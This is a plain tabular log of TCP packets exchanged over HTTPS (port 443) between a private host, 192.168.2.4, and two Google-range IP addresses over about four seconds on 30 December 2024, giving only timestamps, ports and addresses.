Dec 30, 2024 11:37:29.163954020 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.163964033 CET	443	50465	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.165035963 CET	50467	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.174838066 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.174913883 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.186652899 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.186671019 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.186815977 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.186822891 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.199333906 CET	443	50464	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.207324028 CET	443	50467	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.504053116 CET	443	50464	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.504152060 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.504178047 CET	443	50464	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.504282951 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.504364967 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.504406929 CET	443	50464	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.504544020 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.505037069 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.505083084 CET	443	50470	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.505698919 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.505995035 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.506011963 CET	443	50470	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.529455900 CET	443	50467	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.529536009 CET	50467	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.529661894 CET	50467	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.529706001 CET	443	50467	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.529753923 CET	50467	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.530178070 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.530217886 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.530646086 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.530869961 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.530881882 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.575268984 CET	443	50465	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.575330973 CET	443	50465	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.575364113 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.575396061 CET	443	50465	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.575411081 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.575445890 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.575453043 CET	443	50465	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.575472116 CET	443	50465	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.575495958 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.575671911 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.576134920 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.576153040 CET	443	50465	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.576596022 CET	50472	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.576621056 CET	443	50472	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.576694965 CET	50472	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.577088118 CET	50472	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.577109098 CET	443	50472	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.730757952 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.730813026 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.730820894 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.730838060 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.730855942 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.730880976 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.730886936 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.730920076 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.730923891 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.730961084 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.730962038 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.730998993 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.731709003 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.731726885 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.732548952 CET	50473	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.732600927 CET	443	50473	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.734668970 CET	50473	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.734878063 CET	50473	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.734894037 CET	443	50473	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.105578899 CET	443	50470	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.105652094 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.106350899 CET	443	50470	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.106417894 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.110043049 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.110055923 CET	443	50470	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.110306025 CET	443	50470	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.110367060 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.110702991 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.139918089 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.140023947 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.140825987 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.140912056 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.142693996 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.142707109 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.142973900 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.143048048 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.146008015 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.151335955 CET	443	50470	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.179703951 CET	443	50472	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.179785967 CET	50472	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.191327095 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.210973978 CET	50472	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.210989952 CET	443	50472	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.211146116 CET	50472	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.211153030 CET	443	50472	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.362184048 CET	443	50473	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.362278938 CET	50473	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.363090992 CET	50473	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.363101959 CET	443	50473	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.363322973 CET	50473	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.363329887 CET	443	50473	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.469935894 CET	443	50470	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.470021009 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.470043898 CET	443	50470	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.470082998 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.470208883 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.470274925 CET	443	50470	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.470320940 CET	50470	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.470936060 CET	50474	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.470985889 CET	443	50474	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.471064091 CET	50474	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.471430063 CET	50474	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.471443892 CET	443	50474	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.512623072 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.512690067 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.512705088 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.512839079 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.513916969 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.513967991 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.513976097 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.514024973 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.515620947 CET	50471	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.515635967 CET	443	50471	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.516628981 CET	50475	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.516673088 CET	443	50475	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.516742945 CET	50475	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.517016888 CET	50475	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:30.517035007 CET	443	50475	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:30.585370064 CET	443	50472	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.585429907 CET	50472	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.585433960 CET	443	50472	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.585447073 CET	443	50472	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.585472107 CET	50472	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.585503101 CET	50472	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.585509062 CET	443	50472	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.585557938 CET	443	50472	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.585598946 CET	50472	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.586440086 CET	50472	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.586451054 CET	443	50472	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.587053061 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.587100983 CET	443	50476	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.587171078 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.587450981 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.587461948 CET	443	50476	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.772804022 CET	443	50473	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.772855997 CET	443	50473	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.772943974 CET	50473	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.772943974 CET	50473	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.772969961 CET	443	50473	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.773027897 CET	443	50473	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.773052931 CET	50473	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.773297071 CET	50473	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.773999929 CET	50473	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.774020910 CET	443	50473	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.774740934 CET	50477	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.774804115 CET	443	50477	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:30.775069952 CET	50477	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.775069952 CET	50477	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:30.775110006 CET	443	50477	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.070538044 CET	443	50474	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.070626020 CET	50474	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.071054935 CET	50474	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.071064949 CET	443	50474	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.071336031 CET	50474	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.071341038 CET	443	50474	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.137362957 CET	443	50475	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.137521982 CET	50475	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.138205051 CET	50475	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.138228893 CET	443	50475	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.138508081 CET	50475	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.138513088 CET	443	50475	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.212488890 CET	443	50476	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.212656975 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.220818043 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.220825911 CET	443	50476	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.222801924 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.222809076 CET	443	50476	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.393678904 CET	443	50477	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.393749952 CET	50477	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.394280910 CET	50477	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.394293070 CET	443	50477	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.394674063 CET	50477	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.394680023 CET	443	50477	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.443224907 CET	443	50474	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.444508076 CET	443	50474	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.444612980 CET	50474	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.444828033 CET	50474	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.444845915 CET	443	50474	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.445748091 CET	50479	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.445791006 CET	443	50479	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.446154118 CET	50479	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.446338892 CET	50479	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.446357965 CET	443	50479	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.513741970 CET	443	50475	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.513832092 CET	443	50475	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.513959885 CET	50475	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.514103889 CET	50475	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.514137030 CET	443	50475	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.514941931 CET	50480	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.514976025 CET	443	50480	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.515125036 CET	50480	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.518044949 CET	50480	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:31.518059969 CET	443	50480	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:31.629106045 CET	443	50476	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.629157066 CET	443	50476	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.629175901 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.629210949 CET	443	50476	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.629223108 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.629249096 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.629256010 CET	443	50476	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.629285097 CET	443	50476	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.629293919 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.629327059 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.630354881 CET	50476	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.630372047 CET	443	50476	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.631402969 CET	50481	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.631445885 CET	443	50481	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.631496906 CET	50481	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.635757923 CET	50481	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.635775089 CET	443	50481	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.810451984 CET	443	50477	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.810506105 CET	443	50477	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.810551882 CET	50477	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.810625076 CET	443	50477	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.810652971 CET	443	50477	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.810687065 CET	50477	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.810687065 CET	50477	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.810720921 CET	50477	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.811409950 CET	50477	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.811445951 CET	443	50477	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.811856985 CET	50482	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.811916113 CET	443	50482	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:31.812197924 CET	50482	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.812376976 CET	50482	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:31.812391996 CET	443	50482	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:32.067348957 CET	443	50479	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.067437887 CET	50479	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.068348885 CET	50479	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.068361044 CET	443	50479	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.070662022 CET	50479	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.070669889 CET	443	50479	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.127485037 CET	443	50480	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.127552032 CET	50480	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.135938883 CET	50480	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.135951996 CET	443	50480	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.136121035 CET	50480	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.136126995 CET	443	50480	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.233392954 CET	443	50481	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:32.233541965 CET	50481	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.271497965 CET	50481	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.271497965 CET	50481	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.271527052 CET	443	50481	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:32.271553993 CET	443	50481	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:32.411107063 CET	443	50482	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:32.411169052 CET	50482	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.427586079 CET	50482	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.427608967 CET	443	50482	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:32.427791119 CET	50482	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.427797079 CET	443	50482	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:32.438160896 CET	443	50479	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.438221931 CET	50479	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.438250065 CET	443	50479	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.438290119 CET	50479	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.438494921 CET	443	50479	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.438523054 CET	50479	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.438534021 CET	50479	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.438849926 CET	50485	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.438903093 CET	443	50485	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.438975096 CET	50485	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.439162016 CET	50485	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.439172983 CET	443	50485	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.507771969 CET	443	50480	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.507850885 CET	50480	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.507865906 CET	443	50480	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.508101940 CET	50480	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.508234978 CET	50480	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.508271933 CET	443	50480	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.508321047 CET	50480	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.509171009 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.509207010 CET	443	50486	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.509265900 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.509706974 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.509718895 CET	443	50486	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.551089048 CET	50481	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.551122904 CET	50482	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.551136017 CET	50485	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.552673101 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.552723885 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:32.552791119 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.552864075 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.552891970 CET	443	50488	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:32.552967072 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.554722071 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.554753065 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:32.554959059 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:32.554971933 CET	443	50488	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:32.555423021 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.555473089 CET	443	50489	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:32.555546045 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.556246996 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:32.556260109 CET	443	50489	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.109203100 CET	443	50486	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.109704018 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.109989882 CET	443	50486	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.110217094 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.111910105 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.111927986 CET	443	50486	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.112190008 CET	443	50486	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.112318993 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.113442898 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.159329891 CET	443	50486	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.163177967 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.163367033 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.163765907 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.163777113 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.166071892 CET	443	50489	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.166110039 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.166116953 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.166462898 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.166867018 CET	443	50489	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.167032003 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.168601990 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.168612957 CET	443	50489	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.168894053 CET	443	50489	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.170625925 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.171000957 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.173230886 CET	443	50488	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.173455954 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.173634052 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.173644066 CET	443	50488	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.173739910 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.173743963 CET	443	50488	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.211334944 CET	443	50489	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.611277103 CET	443	50486	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.611375093 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.611377001 CET	443	50489	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.611391068 CET	443	50486	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.611402988 CET	443	50486	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.611438990 CET	443	50489	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.611455917 CET	50489	443	192.168.2.4	142.250.186.142
